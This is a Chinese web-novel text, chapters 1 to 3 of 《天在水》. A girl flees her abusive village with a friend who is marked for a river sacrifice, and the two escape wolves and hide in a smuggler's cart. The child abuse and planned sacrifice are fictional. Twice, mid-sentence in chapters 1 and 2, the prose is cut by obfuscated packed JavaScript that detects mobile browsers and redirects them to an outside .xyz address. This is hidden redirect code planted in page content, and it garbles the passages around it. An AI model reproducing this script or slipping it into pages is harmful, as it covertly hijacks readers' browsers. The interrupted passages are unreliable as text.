《天在水》 1. 河童娶妻 狂风呼啸,发霉木材生火起的烟猛地吹向一边。 “咳咳咳!!!” 旁边的幼女不过五岁,被烟气呛得直咳嗽,眼泪都被熏了出来。 但她不能懈怠,只有在父亲起床前升起火堆,把全家的饭食做好,她和母亲才可以勉强得一上午安宁。 木门被推开,母亲王氏被扑面而来的烟气呛得喘不过气,弓着身子咳嗽,本来就不好的身体承受不住这样的刺激,竟是咳出点点鲜红。 卫余扑上去,想要抱住母亲,却被王氏一把推开,“滚一边去,没用的丫头!”王氏气还没有喘匀,就捡起地上的木棍,冲着火堆扒拉了几下,试图减少烟气。 “阿娘,对不起……”卫余直直站在一旁,但是烟雾丝毫没有减少,反而越来越多,终究飘进了里屋。 卫介到底是醒了,他批了件外衣,咒骂着大步走出来,柳氏挺着六个月大的肚子,睡眼惺忪的跟在后面。 “哎呀,老爷!”柳氏嚷嚷起来,还不忘护着自己的肚子,“这死丫头干什么都搞不好,这烟让妾身的肚子好痛~” 卫介皱着的眉拧的更紧,脸色阴沉的让卫余倒退几步,她想要跑,还没有几步就被王氏拽住。 “你跑什么,有什么好好说。” 卫余急得不停挣扎,眼看着卫介越来越近,扬起的巴掌重重扇在她脸上,卫余的脸颊迅速肿起,她扭过头茫然的望着地面,无边的愤怒在胸口蔓延,眼睛干涩的发疼。 这一巴掌却不能解气,卫介作势又要踢一脚,卫余已经推开王氏,卫介一脚踢到了一旁的柱子上,疼得直咧嘴,他像洪水猛兽般追过去,大吼道:“孽障,你害了老子的儿子不说,还来害老子!看老子抓住你不把你个小孽障打死!!” 卫余自知自己跑不过卫介,抓起一旁晒着的青豆洒在后面,卫介来不及收脚,摔了个狗吃屎。 卫余拼了命的跑,直到把卫介的辱骂声,柳氏故作娇弱的呻吟声,王氏的责备声一股脑甩在了后面,才渐渐慢下脚步。 她来到了一处河流旁,这是卫家村边界处的河流,过了这条河,再沿着森林走,便是官道。 卫余没有出过卫家村,除了她,整个卫家村的人几乎都没有出去过。 卫家村地理位置偏僻,四面环山,隶属于东安九郡的晋城,晋城之外,便是宸朝百年来的大队头——离朝。 晋城作为保护宸朝的最后一道屏障,自然地势险峻。想要从那些山头爬出去,比登天还难。 卫余望着不远处的山岭,背靠在大树旁,勉强喘匀了气。 身后一阵窸窸窣窣,卫家村东边卫秀才的女儿寻梅捧着一桶洗好的衣服走了过来。 “哎呀,你的脸!”寻梅看着卫余脸上的淤青,忍不住惊叫出声,“怎么肿得和山包一样?” 寻梅掏出手绢在河里浸湿,追着卫余擦拭脸颊,卫余绕着树桩躲开。 “寻梅姐姐,你别问了!别管我。”卫余扑在草丛里,捂着脸不让看,寻梅见状突然明白了什么,“亭长又打你了?” 卫余不吭声,鼻子却一酸,心里的委屈在这一刻漏了气般宣泄出来,“我都叫你不要问……”眼泪不受控制的流出来,她赶紧用洗的发白的袖口摸了几把脸。 几块麦芽糖递到了自己面前,寻梅笑着道:“我这几天帮爹爹洗衣做饭,他今天心情好,赏我的,我给你一块!” 卫余有些意外,卫秀才是卫家村少有的读书人,平日里附庸风雅,什么活都不愿意干,妻子早逝,只能替村里人写信维持家用,哪来的钱买糖? 寻梅又把糖递的进些,卫余没有推脱,爽快的拿起一块放进自己嘴巴里,甜蜜冲散了心中苦涩,寻梅也吃了一块,二人躺在草地上,望着天空逐渐堆积的乌云。 “要下雨了。”卫余道。 “你今天还能回去吗?你爹他……”寻梅扭过头问道。 卫余沉默良久,突然道:“寻梅姐,我们一起逃到长安去吧。” 长安,宸朝的都城,也是多少人梦寐以求,哪怕赴汤蹈火也要涉足的圣地。 卫家村只有卫介壮年时去过长安,回来后便将这件事大肆宣扬,说的天花乱坠。 说长安城如何繁华,自己如何受到皇上赏识,被公主垂青等等。卫家村的人没见过世面,还真的信以为真,卫介能当上亭长,这一点功不可没。 卫余从来没有相信过。从她有记忆以来,卫介肚子上的肉就没有消下去过,高高的肚子比女人怀胎十月还要大。加上他无时无刻都在夸夸其谈的浮夸表情,若是真有皇亲贵族看上了他,八成是个眼瞎的。 但是长安的繁花似锦,已经深深雕刻再来卫余心中。 “长安?”寻梅一愣,“爹爹跟我说过,那是天子住的地方。好像女子也可以当官?” 卫余激动的翻过身坐起来,“是吧?我们一起去长安,到时候就不用受气了!” 寻梅嗤笑出声,“小余,你别开玩笑了,我们才多大?别一会让野狼钓了去。” 卫余不说话了,寻梅忙凑过去,“我不是在笑你啊,可我们找得到长安的路吗?” 又是一阵狂风袭来,热浪中夹杂着泥土的腥味,远处的树叶被卷成一个小漩涡,很快又恢复平静。卫余活动了一些被汗水浸湿的手脚,粘腻的感觉让她涌起一阵不安,“好像真的要下雨了,蜻蜓飞得好低啊。” “你今晚上到我家过夜吧,好不好?”寻梅牵起卫余的手,卫余犹豫了一下,想起卫秀才每次看见寻梅带着自己回家时的表情,还是笑着跑开了,“不用了,我偷偷回去,躲在我家牛棚里,不让他们看见!” 乌云密密麻麻的挡住了天空,光线骤然变暗,远处响起几声闷雷,几滴雨点砸在地上,卫余穿梭在小道上,远远的看见王氏站在门口。 “阿娘……”卫余手足无措的站在原地,王氏的脸上也有了几道印子,一看见卫余,脸上担忧的神情却变了个样。 “你个死丫头,跑哪里去了?”王氏拽着卫余,想把她拖到院子里面,“知不知道你爹担心死了,快进去给他道个歉,今日的事就这么算了。” 卫介担心自己?卫余才不相信,他不盼着自己死了就不错了,“他打人就有理了?我才不要道歉!”卫余扒拉开王氏的手,“你这孩子怎么说话呢?”王氏眉头一皱,“他是你爹,你爹打你天经地义,自古以来谁没有被爹娘打过?” 这话一出,卫余胸口的憋闷终于达到了顶峰,“他是我爹就可以莫名其妙的打我?!阿娘,那你又为什么会被他三天两头的打骂?就连柳姨娘也可以随意责骂你!” “夫为妻纲,再说了……”王氏愣住了,声音哽咽起来,恨恨的瞪着卫余,“再说了,若你是一个男儿,我又怎么会沦落至此?” 卫余眼眶中一片模糊,牙齿都开始发抖,这才是她在家中无论做什么都不受待见的理由。 “轰隆——!!”天空一声惊雷,瞬间便像是漏了一个大洞般向下灌水,行人抱着头到处乱窜,卫余苍白的脸倒映着闪电的光。 “我不是一个男孩,让你们失望了对吗?”卫余哽咽着,王氏撇回头去,冷冷道:“你若是想站在这里淋雨也随便你。”说罢,她头也不回的走回屋内。 卫余终于不用掩饰自己的哭泣,却没有发出一丝声音,眼泪无声无息的掉落,在水洼中溅起微不可查的水花,她咬紧牙关咽下呜咽,可颤抖的双手暴露了她的溃败。 雨,越下越大了。 直至夜半,千万条银鞭从苍穹抽向大地,屋顶啪啪作响,仿佛下一秒就会被击穿,这是卫家村十年来没有遇到过的大暴雨。 卫余蜷缩在牛圈中,茅草做的棚顶抵挡不住,被冲开了几个大洞,卫余的衣服都被打湿,那头用来耕地的老牛发出嘶哑的叫声,一直怪异的乱撞,卫余在角落里看着,心中愈发不安。 院门发出吱呀的响声,一群披着蓑衣的人成堆挤了进来,卫余透过牛圈中的缝隙往外看,认出这些都是村中年轻力壮的男人。 众人进了里屋,卫介挂上了油灯,卫余半梦半醒的把耳朵贴在门口,牛棚和里屋只隔着薄薄一层墙壁,大人们说话的声音清晰的传来。 “上游堤坝已经垮了两处!”村中干事卫大富的破锣嗓子震得地板都颤抖起来,“再这样下去,明天全村都得被鱼当了饲料!” 父亲卫介的声音传来,那种在祠堂中发号施令惯用的腔调,“慌什么?老祖宗传下来的法子不用,等着被淹死吗?” 老牛不安的跺着蹄子,卫余安抚的抚摸它潮湿的鼻头,紧接着是卫家族长的声音,“亭长的意思是,河童娶妻?” 卫家族长摸着灰白的胡子,声音骤然变低,“可朝廷多年前就严令禁止使用活人祭祀。” 卫大富猛地一拍桌子,茶杯哐啷作响,“朝廷?朝廷管得了河神发怒?!隔壁的李家村去年献了个童女,来年就风调雨顺!”他唾沫星子横飞,缺了门牙的嘴散发着浓重的酒气。 卫余的指甲不知不觉深陷肉中,河童娶妻,她曾经听村口的老婆婆提起过——把女童打扮成新娘,绑上石头沉入河底。 “县里新来的师爷盯得紧。”卫家族长还有些犹豫。 “怕什么?!”卫介的声音突然拔高,“天高皇帝远,等他们反应过来仪式早就结束了。” “再说,”他斜睨一眼犹豫的族长,“你们当中有几个到过长安?又有谁见过大风大浪?我就把话摆明了,朝廷压根就是睁一只眼闭一只眼!你们只管让河神息怒,其他的我来处理。” 沉默良久,老族长颤颤巍巍开口道:“需得找八字属水的幼女。” 卫余的心提到了嗓子眼,一直沉默的卫秀才眼睛滴溜溜转了一圈,插话道:“启禀亭长大人,小人的女儿就是六月初六所生,命中带水,今年刚过八岁。” 寻梅?!卫余险些惊叫出声,忙用手捂住自己的嘴巴,咸腥味在口中蔓延,卫秀才的话混杂在雨声中,卫余一阵恍惚。 卫介满意的点点头,脸上挂着诡异的兴奋,卫大富诧异道:“你平日里不是最疼爱那丫头,怎么突然开窍了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533582|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫秀才脸上堆着笑,冲着卫介拱手道:“多亏亭长提醒了我,女娃到底是赔钱货,我本来想把她卖到隔壁村子里做童养媳,现在事关全村人性命,卫某怎能推辞?” 他喜形于色滔滔不绝道:“小女能保一方平安,实乃三生有幸。各位若是不嫌弃,我现在就撰写祭文……” 卫余胃中翻滚想吐,她一屁股跌坐在地上,恍惚间看见寻梅得了麦芽糖后的笑颜。 雨水冲涮着祠堂,似乎要洗净这里的罪孽。卫大富哈哈大笑起来,又转向卫介。 “下次就轮到你家余丫头……”零星的话语飘进卫余的耳朵。 老牛突然发出一声悲鸣,卫余这才反应过来自己太过紧张揪住了它的耳朵,幸好雨声太大没有人注意。 地板响动,会议结束了。柳氏走了出来,卫介的声音也带了酒意,“明日就动手,那丫头的嫁衣你记得准备。等这遭过去,我们的儿子也该出生了。” 柳氏娇笑道:“如果不是儿子呢?” “那就继续生!”卫介猛然暴怒,“我就还不信,我卫介还会绝后不成?!她娘也是个废物,生了个女儿不说,还坏了身子……” 卫余把头埋在干草堆里,老牛舔了舔她裸露的手臂,卫余转过身抱着它,雨还在下,地面积起水洼,映出她惨白的脸。水洼中的小女孩对她眨眨眼,嘴巴一张一合说:“逃。” 更夫的梆子敲过三更,寻梅隐约听见窗外传来细微的响声,因为卫秀才还没有回来,窗子有没有拴上,她小心翼翼的挪到窗前,低声问:“谁?” 卫余一把推开窗,翻身进屋,她破旧的衣衫早就湿透,头发一缕一缕贴在脸上,嘴唇发紫,喘着粗气膝盖破了一个洞,还汩汩冒着血水。 “小余,你怎么……”寻梅松了一口气,圆脸上的笑容还没有褪去,卫余就打断了她。“他们要把你丢进河里祭河神,明天就动手!” 寻梅的笑容僵在脸上,卫余明显是一路狂奔过来,一路上不知道摔了多少个跟头,没必要骗自己。 她的脸皱成一团,“你睡糊涂了?我爹前几日还跟我说过几天带我去隔壁村子学刺绣,怎么会……” “我亲耳听见的!”卫余一把抓住寻梅的手腕,冰凉的触感让寻梅瞬间清醒,“你爹就在我家祠堂里,他说…他说这是光宗耀祖的好事!” 寻梅彻底僵住,哪怕是雨雾中,卫余眼中的恐惧也掩盖不住。雨太大了,大的让人窒息,水汽弥漫在空中,一道闪电照亮了卫余的脸,寻梅不受控的后退几步,“不可能…不可能……我爹常说“子不语怪力乱神”……” 卫余突然道:“你爹从来没有想过要带你学艺,你有没有想过,你爹怎么突然有了那么多钱?!” 寻梅摇摇头,呼吸都差点停止,卫余拽着她来到卫秀才藏书的书箱,“他早就把你卖给李家了,你若不信,卖身契就藏在这些书里。”她的声音像是淬了冰般寒冷,寻梅哭着推倒书箱,众多藏书散落一地,最引人瞩目的,当是那张盖着血红手印的绢布。 二人都只依稀认得几个字,却也明白了这白纸黑字写了什么。寻梅脚下一软,不小心撞倒了放在地上的油灯,火苗迅速吞噬了她的衣袖,又被飘进来的大雨扑灭,只留下一处焦黑。 她盯着那出痕迹,突然想起去年中元节父亲带着自己放花灯时说:“梅儿,你记住,能为家族争光,这可是天大的好事。” “我爹,他真的答应了?”寻梅的声音像是掉落的枯叶,卫余点了点头,“这一次是你,下一次恐怕就是我了。” “我们跑。”寻梅像是下定了某种决心,她站起身来,打开卫秀才放钱的柜子,寻梅数了数,突然笑了出声,“二十文,爹爹就为了二十文!” 她取走了所有的钱,拿起墙上挂着的蓑衣,打包起剩下的干粮,“二十文,我们可以到长安吗?” “等一下!”卫余叫住寻梅,她取出火石,火舌舔舐上卖身契的边缘,墨迹在火焰中挣扎,消融,最后化为灰烬。 “走!”二人冲进雨幕。 雨水像银针般刺入泥土,卫余拉着寻梅跑进黑乎乎的深林时,锣鼓声已经响破天际。她们像两只受惊的小鹿,在盘根错节的树林里奔跑。 “等等,我喘不过气了。”寻梅在后面喊到,弯下身干呕着,“我们不能停下,我爹很熟悉这里的地形,他过不了多久就会找到我们!”卫余掏出从家里带来的地图,试图辨认自己的位置。 “山里有狼,你刚刚听见狼嚎了吗?”寻梅吓得一动不敢动,卫余注意到她手上的伤痕,那是刚刚爬上山时被划破的,“你是宁愿被狼咬死,还是被他们淹死?” “你现在后悔还来得及。”卫余又低下头研究着地图。 寻梅突然站住了,“他们还会找别人的,”她喃喃自语,“我不能让其他女孩替我死……” 卫余抬起头,小脸上也有了一丝痛苦,“她们不是替你死,没有人该死。”卫余想象的到现在卫介的怒火,“等逃出了这里,我们就去报官,没有人会死的。” 2. 遇狼藏车 大雨终于停下,但雨水早就渗透两个小女孩蓑衣,一股风吹过,二人抵挡不住的寒冷。 寻梅冻的颤抖,死死拽着卫余的手腕缓慢向前移动,卫余的布鞋早不知道被冲到了哪里,脚底被碎石割的鲜血淋漓。 第三声狼嚎响起时,二人同时僵在原地。“别动。”卫余的指甲陷进了肉里,雨水顺着她惨白的脸往下淌,她的嘴唇几乎没动,声音压的比落叶还轻。 “听声音,在我们的左后方。”卫余感觉到寻梅的呼吸立刻变得急促,她整个人都在颤抖,活像只掉入冰窖的小雀。 卫余下意识摸向腰间,那里别着从寻梅家拿走的火石,“兴许…它还没有发现我们呢?”寻梅的声音传来,卫余痛苦的摇摇头,“不是它,是它们,一群狼就在我们身后。” 幽绿的光点在草丛中浮动,一头灰狼从灌木丛中踱出,湿透的灰毛紧帖在嶙峋的肋骨上,它的眼睛缺了一边,一条狰狞的疤痕横亘在脸上,明显是一只经历过厮杀的恶狼! “慢慢往后退,”卫余用气音在说话,“我爹说过,狼怕……” 她的话被一声近在咫尺的嚎叫打断,又有两匹狼从旁边的草丛窜出!寻梅倒吸一口凉气,差点叫出声来。 狼群呈扇形靠拢,卫余环顾四周,背后是陡坡,左侧是密不透风的荆棘从,唯一一条生路在右边,高耸入云的树林在狂风中沙沙作响,如果她们爬到树上,沿着纵横交错的枝干转移,也许还有一线生机。 “小心点往右边移动,我数到三,我们就跑。”卫余深吸一口气,掏出随身携带的火绒和火石,她的指甲因为反复刮擦火石而开裂,血混杂着汗水渗入火绒。 一颗火星终于崩出,那块半干的火绒冒出一缕青烟,卫余小心翼翼的把它护在蓑衣下,明黄的火苗出现,狼群果然焦躁的刨地。 “一,二……”卫余奋力一甩,火绒抛向狼群,“跑!!”狼群集体后退两步,但领头的狼发出了低沉的吼叫,明显是被激怒了。 两个女孩跌跌撞撞奔向最近的大树,卫余率先攀上树枝,三步并作两步爬到树顶,回头一看,寻梅还留在树底! 寻梅踉跄的跪倒在泥水里,“我的脚……扭到了……” 那一缕火光很快熄灭,卫余知道撑不了多久。 第一匹狼扑过来时,卫余正撕扯着自己的衣摆,那畜牲足足有小牛犊般大,它呲着牙,喉咙里发出咕噜咕噜的声响。 “上来!”卫余把布条丢给寻梅让她拉住,随后将一端绕过树干,用了吃奶的劲拽起他往树上拖。寻梅的右脚已经肿成紫色,却硬是憋着没有哭出声。 二人的手掌都被粗糙的树皮划破,卫余把寻梅拽上了最低的树枝。 只听“咔嚓”一声,恶狼的利牙离寻梅的脚踝只差一寸! "往高处爬!"卫余推着寻梅往主干移动。老树在风中摇晃,每一阵风过都洒下冰冷的雨水。她们蜷缩在三丈高的树杈上,看着树下渐渐聚集的幽绿光点,五匹、六匹...整整九匹狼围着树干打转。 寻梅啜泣的声音细若蚊呐,“我们会不会死在这里?” 卫余折下一根枯枝,递给寻梅,“往右丢,然后往左!”她扳开寻梅僵硬的手掌,寻梅闭着眼睛一丢,枯枝落地的声响把狼群引得四散开来,唯有那匹领头的灰狼纹丝不动,绿色的眸子死死盯着树上的猎物。当卫余再次丢下一根枯枝时,它突然人立而起,前爪趴住树干。 “它在干什么?!”寻梅抱住卫余,话音未落,那棵老树剧烈震颤起来,那匹独眼狼正用它的利牙啃食着树根处的朽木!老树发出不堪重负的悲鸣。 卫余恍然想起去年冬日,邻居家的孩子就是因为贪玩跑进了树林,被狼耗死在树上。 她扶着树干,把衣带的一端系在自己身上,另一端绑在寻梅手腕上,尽量平衡身体,缓缓站起身。 “不要!”寻梅无助的哭泣,卫余奋力一跃,有惊无险的落在了另一棵树的树杈上。“寻梅姐,快过来!”卫余眼看着那棵大树摇晃的愈发厉害,独眼狼凶狠的目光催促着寻梅不得不鼓起勇气。 她试着踏出一步,在离开树枝前却烫脚般缩回,“小余,你走吧…不用管我…” 卫余一把扯过衣带,寻梅因为惯性被甩过来,卫余看准时机用脚抵住树干,勉强稳住身形。 “呼,呼!”寻梅喘着粗气,半个人挂在树枝上,“把它引过来!”卫余突然道。 “什么?”寻梅不解,卫余把布条绑在树上,“寻梅姐,抓稳了。”说罢,卫余转身爬上茂密的树冠里。 那匹领头狼似乎不耐烦了,看着近在咫尺的猎物,贪婪的眼神直勾勾的盯着寻梅,它弓起身子,似乎在衡量着危险。绿眸反射出火光,灰狼露出雪白的獠牙。 寻梅的心像是要跳出来一样,剧烈的恐惧让她闭上眼睛,独眼狼纵身一跃,直扑寻梅而来! “啪!!” 野狼被突如其来的树枝击飞,重重的摔在地上。卫余脱力滑坐在上方的树杈上,双手磨的血肉模糊,原来她刚才拼尽全力往后拽住一根树枝,等独眼狼被引来时看准时机松手。 “吓死我了!”寻梅扑过去抱住她,卫余噗嗤一声笑出来,“我刚刚差点拽不住那根树干呢!”她的语气带着劫后余生的放松,十几双发亮的眼睛在黑暗中盯着她,卫余的笑僵住了。 狼群看见首领受伤,浑身狼毛都立了起来,喉咙发出低沉的轰鸣。 卫余听见它们利齿发出的咯咯声,未曾休息片刻,她抱着寻梅跌下树,躲开一匹狼的攻击。 落地的一刻二人拼命的跑,刚一转身,背后炸开一片低吼,如巨雷响起,狼群不再影藏,不再迂回,直直的朝她们扑去,不是对猎物的追逐,而是复仇的狂怒! 喉咙灌满温热的血沫,每一次抬脚都要撕扯浑身裂开的伤口,卫余知道自己不能停下,视线模糊的刹那,铜铃声骤然响起。 “官道!是官道!!”卫余看见了希望,扶起摔在地上的寻梅,不顾一切的向前冲去。 铜铃声近在耳畔,两个浑身是伤的女孩从灌木丛中窜出。 十几辆青蓬货车排成长龙,挂着的銮铃在风中叮铃作响。最后那辆堆着货物的马车,车帘被吹开一角,露出里面鼓鼓囊囊的麻袋。 “快!”卫余推着寻梅上了马车,寻梅的脚踝早就高高肿起,再也没有了力气。 潮湿的空气混杂着稻壳的霉味,卫余蜷缩在马车角落,听见车夫的声音越来越近。 “这瘟天,把车帘都吹开了,要是让那小子着了什么病,你我都讨不得好!”一个车夫把车帘拴上,往地上狠狠啐了一口唾沫。 “要我说你就不该接这活,要是被查到,脑袋都得搬家。” 那人笑了笑,“怕什么?到时候给点银子就打发了。” “你懂什么?你知不知道县里新来的官老爷……” 人走远了,哪怕卫余立着耳朵听也不明所以,什么叫做“那小子”?什么叫做“脑袋搬家”?这难不成是一辆走私车?一股脑的问题涌进脑海,她只觉得头像裂开了般疼。 寻梅的手突然紧紧拽着卫余的袖口,她的神色突然惊恐起来。“怎么了?”卫余问,寻梅颤颤巍巍的用手指着马车内的一个大箱子。 “咔哒”一声,那个雕花木箱的锁扣轻微颤动,箱盖掀起一条缝,接着车缝透过的微光,卫余看见一双漆黑的眼睛。 三人对视,寻梅吓得一动不敢动,箱盖被一把掀开,一个约莫十岁的男孩坐起身,他的面色苍白如纸,身上穿着上好的锦缎,却明显不是宸朝的款式。 “啧,”男孩的声音冷冰冰的,“两个小叫花子,倒搭上顺风车了。” 寻梅有些冒火,“我们不是小叫花子,我们是……” “不是?那是什么?”箱中男孩已经利落的爬了出来,拍掉身上不存在的灰尘,“这里不是给你们玩的地方。” “现在,滚出去。”他一字一顿的吐出这些话时,寻梅正把流血的手往衣摆上擦,闻言,她僵在原地,眼眶瞬间红了。 卫余握住她的手,开口道:“这车,是你们家的?” 男孩愣了一下,冷漠的表情终于有一瞬间破裂,他从怀里掏出一把匕首,刀尖直指二人的喉咙,“要么滚,要么死!” “你是离人。”卫余突然道,表情严肃的看着他,男孩的瞳孔瞬间变小,握着匕首的手腕不禁微微颤抖。 卫余看他表情,便知道自己猜对了,她乘胜追击的扳开男孩的刀尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533583|186444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,男孩似乎没了力气,匕首哐当一声砸在车上。 “你…你怎么会知道?” 卫余揪了自己一把,勉强保持清醒,“如果这些马车都是你家的,你有什么必要藏在这个箱子里?” “方才有人说他们做的是玩命的买卖,这里是宸离两国边界处,有什么买卖能把命给丢了?” “只有一种可能,你偷渡。”话音未落,男孩脸色大变,他冲过去想抓起匕首,不曾想已经被卫余已经先一步夺走。 同一时间,前方车夫的谈话声戛然而止,远方大片的火光,震耳欲聋的马蹄声,无一不让几个车夫大气不敢出。 车上三人都听见了马车外传来的动静,卫余笑着说:“官兵来了,你说如果我把这件事告诉他们……” “不必再说,你们留下就是了!”她的话被男孩打断,男孩的眼里泛起点点泪光。卫余本不是想故意吓唬他,见目的达到,也就不再咄咄逼人。 “官爷!官爷你行个方便……” “少废话,所有车厢都给我打开!” 男孩听见外面的喧哗声,吓得一哆嗦,连忙翻进箱子里,“他们来抓我了!”寻梅哪里见过这样的事情,她拉着卫余也想躲进去,可狭窄的木箱根本容纳不下。 官兵沉重的脚步声逼近,三个孩子同时屏住了呼吸。 “这辆车检查过了?!”官兵的吼叫让男孩不住的发抖,他的靴子踏上车板时,一个车夫吓得当场尿了裤子。 那个官兵见状,更加相信自己的怀疑,他一把挑开车帘,一个空荡荡的箱子出现在自己眼前。 “这,这……”商队的人个个面面相觑,官兵不慌不忙的钻进了车厢,对着一个麻袋就是一剑。 只有稻谷露了出来。 官兵不可置信的挑破了所有麻袋,直到最后一个被他检查完毕,都不见一丝端倪。 “官爷,你看这里都是我们好不容易装好的稻谷,我们怎么敢私藏外族啊?”一个年纪较长的车夫站了出来,那个官兵自知理亏,却不甘心的冷哼一声,又有一个官兵附耳说了两句。 “别费时间了,你忘了我们还要去卫家村抓人?” 这件事情终于收了场,看着远去的官兵队伍,商队个个心有余悸。“我说老五,你也忒胆小了些!”一个大胡子笑呵呵的把尿裤子的车夫扶起来,“老大,你看他!” 被称作老大的车夫回过头来,浓密的眉毛挤做一块,“那小子跑哪里去了?” 马车地下发出细微的响声,男孩灰头土脸的钻了出来,后面紧跟着两个狼狈不堪的小丫头。 “这两个娃娃是谁?”大胡子一手拎起寻梅,一手拍了拍卫余的脑袋,“哦哟!这丫头浑身烫的很!!” 卫余只觉得天旋地转,膝盖一软,如同断线木偶般向前载去,周围惊呼炸开。 “小余!!”寻梅在大胡子手上不断挣扎,“你们放开我,刚刚如果不是小余让我们躲到车底下去,你们早就死了!!!” 大胡子看了一眼晕过去的卫余,明显不相信,“老大,现在怎么办?把她们丢在这吗?” 寻梅的圆脸骤然涨成猪肝色,瘦小的拳头握的邦紧,发出让人牙酸的响声。 “哎呀!!你个死丫头!!”大胡子大叫一声,手上脱了力,寻梅挣脱下来。原来她刚刚死命的踢了一脚大胡子的肚子。 男孩拦住了大怒的男人,冷声道:“确实是她刚刚救了我们。”,大胡子收起拳头,看了一眼旁边被称作老大的车夫。 男孩凑过去看了看昏过去的卫余,看她面色发红,又掰开她的眼皮和嘴巴,仔细看了一遍。 “不用担心,她死不了。只是淋了雨,伤口又有点发炎引起的发热罢了。”寻梅得了男孩的话,紧绷的拳头软了下来,眼泪夺眶而出。她跪倒在卫余身边,大声抽泣着,男孩站在一旁,看向寻梅的眼神多了几分好奇。 “王大哥,她们是我在路上遇到的,顺便捎她们一段路吧。”男孩转头向那个年长车夫交代,王大哥做出一副为难的样子,“何公子,你是不知道,我们带你这一个都力不从心,再来两个,我们只怕是……” 男孩似乎早就料到会这样,“钱的问题,到时候你们问我祖父要便是。” 3. 同行 天色渐亮,马车碾过几处水洼,泥水溅起三尺高。 卫余在颠簸中反复发热,她的额头像一块烧红了的木炭,寻梅刚想用湿帕子擦拭,手指刚触上去就本能的缩回。 “让开。”男孩突然挤了过来,粗暴的扒开卫余的嘴巴,往里面放了一颗褐色的药丸。 “你干什么?!”寻梅扑过来拽起他的胳膊,男孩并没有拂开她的手,“只是能让她好受点的药罢了。‘’ “你也不想让她这么快就烧傻了吧?”男孩说着,突然从怀里掏出一个小瓷瓶,“擦擦吧,你的脚看着骇人得很。” 寻梅接过瓶子,闻见里面传来的药香,她从来没有见过药膏,往常在村里崴了脚,只有自己去找些碾碎了的草药敷在脚上。 她好奇的大眼睛忽闪忽闪,“你还懂医术?” 男孩脸上浮现出一抹忧伤,“我家世代从医。” 寻梅还想说什么,马车忽然停下,王大哥王长勇掀开车帘,“我们得换条路,如果继续走下去马车就会驶入晋城。”他顿了顿,看向寻梅,“等到了城里面戒备会更森严些,我知道一条小路,何公子可得小心看好你的朋友。” 晋城是东安九郡最后一道关卡,它坐落在地势奇险的河谷一带,东侧是陡峭山路,西侧是湍急河流,可谓是“一夫当关,万夫莫开”。 可偏偏是这样一座军事要寨,也因为地势偏远,人力缺少,故而极少有商业往来。 他们一行人只怕会成为众矢之的。 “可是……我想去城里找大夫给小余看看。”寻梅担忧的看着角落里的卫余,小声道。 “你这个丫头怎么这么难缠?”王长勇摆出一副凶神恶煞的表情,“我们做的可是杀头的买卖,要尽可能的避开人多的地方。到时候被发现了,你和你朋友都得遭殃!” 寻梅低下头,她在卫家村见过太多淋了一场雨,从此就一病不起,一命呜呼的人了。 男孩一直不说话,或许是看寻梅这个样子实在可怜,他终于开口道:“有我在,她死不了。”寻梅感激又犹豫的看向他,眼里藏着一丝怀疑,男孩被寻梅的表情气笑了,“你可别看不起我,城里的大夫未必有我厉害。” 之后的几个时辰里,他像是要证明自己自己一样,又是配药又是施针。寻梅看他忙碌的样子,倒还真有点医师的样子。 几根银针扎入卫余的穴位,卫余的睫毛颤动几下,喉咙发出一声轻咳,竟真的睁开了眼睛。 “小余,你没事吧?”寻梅喜极而泣,卫余不可置信的看着收针的男孩,“你救了我?”她的声音还有点沙哑。 男孩冷哼一声,把头扭向一边。寻梅笑着握住男孩的手,眼里的喜悦藏都藏不住。 “多亏了你,想不到你年纪和我差不多,居然比我们村里的老大夫还厉害呢!” 男孩脸色微红,不自然的咳嗽几下,“不是年纪越大他的能力就越高,你现在相信我了?”寻梅红肿着眼睛,忙不迭的点头。 马车碾上一条羊肠小道时,天色已将近正午。 卫余掀开车帘一角透气,看见两棵歪脖子树立在活像门神般立在路旁,大胡子剥开密密麻麻的灌木,一条狭窄的路出现在大家面前。 “这么窄的路,别说是马车,怕是骑马都不好过去。”她正喃喃自语,王长勇已经把她和寻梅吆喝下了马车,“这里马车过不去了,你们还有何公子跟我一起从这里穿过去。” “其他人,拉着马车继续进城,遇见了官兵不要怕!”王长勇大声指挥着,又看向大胡子,“老二,你和我一起保护何公子。” “明日天亮时分,在老地方汇合!”交代完这些,已经有人去收拾起干粮。 寻梅突然僵住了。 她的手在腰间摸索了好几遍,脸色逐渐发白。“小余……”她的声音都得不成调,“包袱……包袱不见了……” 卫余猛然回头,只见寻梅腰间空空荡荡,那个装着二十文钱和干粮的包袱不知何时消失的无影无踪。 “是不是昨日狼袭时不小心弄丢了?”卫余急声问,寻梅的眼泪大颗大颗的掉往下砸。 那包袱里装着她们的全部家当,没有了盘缠干粮,她们怎么撑到下一个城市? 卫余急得眼前又开始发黑,可当她看见寻梅哭的通红的鼻尖,泥泞不堪的衣角时,那股焦躁忽然散了。 “丢了就丢了,那些可都是卖你的钱,早该丢了!”卫余用袖子胡乱擦了擦寻梅的脸,语气轻松的好像弄丢了一件无关紧要的东西。 寻梅却哭的更凶了,男孩本来坐在树下整理药材,闻言慢条斯理的从箱子里拿出一个油纸包,丢到寻梅怀里。“诺,”他强撑着冷脸,“就当我喂了只兔子。” 纸包里是几张面饼,寻梅呆住了,手悬在空中不敢动。 